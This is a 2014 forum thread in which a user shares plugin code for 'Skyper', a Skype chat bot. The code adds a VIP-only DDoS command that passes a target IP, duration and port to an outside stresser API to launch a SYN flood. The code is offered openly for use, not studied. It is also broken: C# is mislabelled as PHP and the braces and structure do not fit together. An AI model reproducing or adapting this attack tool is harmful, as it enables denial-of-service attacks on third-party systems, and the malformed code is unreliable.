Zabuza? - February 18, 2014, 9:52 pm

Assuming you have programmed this, do you think you could change the files to english for us? Google Translate is extremely inaccurate, and I would do it to help you out a little though I've only got the french level of a primarily speaking English grade 7 student, as that was the year I stopped taking french in school. And I sucked at it then.

Alright. Though, one more question... I'm afraid I cannot figure out how to use this software... mind explaining where to enter these commands? ?

dosproduct - February 18, 2014, 10:11 pm

Just Open Skyper.exe -> Go on Skype And accept to use the software -> And Type !Help on one conversation ^^

Exemple : <https://gyazo.com/e0254f655376adfae635b783af8d1819>

No problem !

I have vip system and admin system !

Public share soon :)

Blatter - February 20, 2014, 6:53 am

Thanks i would like to receive the Vip/admin system!

Very happy brother!

Never expected this on a day like this! for FREE

dosproduct - February 20, 2014, 7:03 am

VIP / ADMIN COMMANDS JUST ADD THIS :

```
{
    public static class Help
    {
        public static string Description
        {
            get
            {
                return "[ip] [temps] [port] - DDoS IP [VIP] (max 1200) (VIP COMMANDS).";
            }
        }
    }
}
```

Exemple for ddos commands :

PHP Code

```
<?php
using System;
using System.Collections.Generic;
using System.Text;
using Skyper;
using SKYPE4COMLib;
using System.Net;
namespace Skyper.plugins
{
    public static class Help
    {
        public static string Description
        {
            get
            {
                return "[ip] [temps] [port] - DDoS IP [VIP] (max 1200) (Vous devez etre VIP).";
            }
        }
    }

    public static void Execute(string[] Params, int chat, string username)
    {
        if (username != "dr.vagabon" && username != "waza.stresser")
        {
            Skyper.SendMessage(chat, "You is not VIP");
        }
    }
}
```

```

else
{
    Skyper.SendMessage(chat, "Attaque lancée par le serveur 1 sur " + Params[1] + " pour " +
Params[2] + " secondes au port " + Params[3] + " / Réponse de l'api : " + new WebClient().
DownloadString("http://missiontech-api.com/send.php?key=product&host=" + Params[1] + "&time="
+ Params[2] + "&port=" + Params[3] + "&method=SSYN"));
}
}
}
}
}

```
